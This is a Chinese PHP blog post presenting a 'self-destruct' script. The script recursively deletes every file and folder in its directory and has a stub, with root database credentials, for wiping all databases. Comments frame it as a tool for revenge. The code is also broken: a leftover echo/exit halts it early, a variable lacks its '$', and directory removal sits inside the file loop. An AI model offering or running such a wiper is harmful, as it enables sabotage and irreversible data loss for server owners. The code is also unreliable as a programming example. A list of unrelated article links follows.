PHP自毁程序(慎用)


Posted in PHP onJuly 09, 2015

本文实例讲述了PHP自毁程序。分享给大家供大家参考。具体实现方法如下:

<?php
// +----------------------------------------------------------------------
// | Kill!!
// | 程序将清除本目录所有文件、目录
// | 如果设置了数据库信息,则尝试删除所有数据库和表数据(前提是权限要够!)
// +----------------------------------------------------------------------
// | Version: $Id$
// +---------------------------------------------------------------------- 
//----------数据库配置区域-----------------
//复仇的力量是很可怕的,所以无需指定数据库,全删!
define('DB_USER', 'root');
define('DB_PWD', 'root');
define('DB_HOST', 'localhost');
define('DB_PORT', '3216');
define('DB_DAMAGE', true); //为false时,不碰数据库
run();
/**
 * 主体思想必须光辉伟大!
 *
 * @return void
 **/
function run()
{
 //删除文件
 deletedir();
 //删除数据库
 deleteDB();
}
/**
 * 呵呵呵,删除当前目录所有文件(递归)
 *
 * @return void
 **/
function deletedir($dir = ''){
 if ($dir == '') {
  $dir = realpath('.');
 }
 echo $dir;
 exit();
  if(!handle=@opendir($dir)){
  //检测要打开目录是否存在
  die("没有该目录");
  }
  while(false !==($file=readdir($handle))){
    if($file!=="."&&$file!==".."){
    //排除当前目录与父级目录
    $file=$dir .DIRECTORY_SEPARATOR. $file;
    if(is_dir($file)){
     deletedir($file);
    }else{
     if(@unlink($file)){
      echo "文件<b>$file</b>删除成功。<br>";
     }else{
      echo "文件<b>$file</b>删除失败!<br>";
     }
    }
    }
    if(@rmdir($dir)){
    echo "目录<b>$dir</b>删除成功了。<br>\n";
    }else{
    echo "目录<b>$dir</b>删除失败!<br>\n";
    }
   }
/**
 * 呵呵呵,删除数据库
 *
 * @return void
 **/
function deleteDB()
{
 if(DB_DAMAGE === true){
  //start
 }
}

希望本文所述对大家的php程序设计有所帮助。

PHP 相关文章推荐
PHP3 safe_mode 失效漏洞
Oct 09 PHP
PHP 中的面向对象编程:通向大型 PHP 工程的办法
Dec 03 PHP
PHP 开源AJAX框架14种
Aug 24 PHP
改写函数实现PHP二维/三维数组转字符串
Sep 13 PHP
php站内搜索关键词变亮的实现方法
Dec 30 PHP
使用PHP接受文件并获得其后缀名的方法
Aug 05 PHP
PHP中addslashes()和stripslashes()实现字符串转义和还原用法实例
Jan 07 PHP
PHP实现简单实用的分页类代码
Apr 08 PHP
php模拟post上传图片实现代码
Jun 24 PHP
基于jQueryUI和Corethink实现百度的搜索提示功能
Nov 09 PHP
php 浮点数比较方法详解
May 05 PHP
php字符串函数 str类常见用法示例
May 15 PHP
PHP模板解析类实例
Jul 09 #PHP
PHP多文件上传实例
Jul 09 #PHP
php判断linux下程序问题实例
Jul 09 #PHP
php实现html标签闭合检测与修复方法
Jul 09 #PHP
php可扩展的验证类实例(可对邮件、手机号、URL等验证)
Jul 09 #PHP
php类常量用法实例分析
Jul 09 #PHP
php求一个网段开始与结束IP地址的方法
Jul 09 #PHP
You might like
PHP 进程锁定问题分析研究
2009/11/24 PHP
ThinkPHP框架安全实现分析
2016/03/14 PHP
PHP简单实现二维数组赋值与遍历功能示例
2017/10/19 PHP
Laravel使用消息队列需要注意的一些问题
2017/12/13 PHP
用js+xml自动生成表格的东西
2006/12/21 Javascript
解决iframe的frameborder在chrome/ff/ie下的差异
2010/08/12 Javascript
25个好玩的JavaScript小游戏分享
2011/04/22 Javascript
使用js实现雪花飘落效果
2013/08/26 Javascript
jquery实现metro效果示例代码
2013/09/06 Javascript
优化javascript的执行效率一些方法总结
2013/12/25 Javascript
引入autocomplete组件时JS报未结束字符串常量错误
2014/03/19 Javascript
JavaScript实现页面5秒后自动跳转的方法
2015/04/16 Javascript
JavaScript中函数(Function)的apply与call理解
2015/07/08 Javascript
九种原生js动画效果
2015/11/11 Javascript
webpack入门必知必会
2017/01/16 Javascript
Bootstrap面板学习使用
2017/02/09 Javascript
详谈js使用in和hasOwnProperty获取对象属性的区别
2017/04/25 Javascript
vue axios请求频繁时取消上一次请求的方法
2018/11/10 Javascript
微信小程序数据统计和错误统计的实现方法
2019/06/26 Javascript
Javascript confirm多种使用方法解析
2020/09/25 Javascript
简单的通用表达式求10乘阶示例
2014/03/03 Python
Python的Asyncore异步Socket模块及实现端口转发的例子
2016/06/14 Python
100行Python代码实现自动抢火车票(附源码)
2018/01/11 Python
Python使用Tkinter实现机器人走迷宫
2018/01/22 Python
利用numpy和pandas处理csv文件中的时间方法
2018/04/19 Python
Python基于内置库pytesseract实现图片验证码识别功能
2020/02/24 Python
520使用Python实现“我爱你”表白
2020/05/20 Python
详解python tcp编程
2020/08/24 Python
英国领先的游戏零售商:GAME
2019/09/24 全球购物
网络教育毕业生自我鉴定
2013/10/10 职场文书
小学运动会表扬稿
2014/01/19 职场文书
工作睡觉检讨书
2014/02/25 职场文书
银行求职信怎么写
2014/05/26 职场文书
机关作风建设自查报告及整改措施
2014/10/21 职场文书
2019XX公司员工考核管理制度!
2019/08/07 职场文书
Python入门之使用pandas分析excel数据
2021/05/12 Python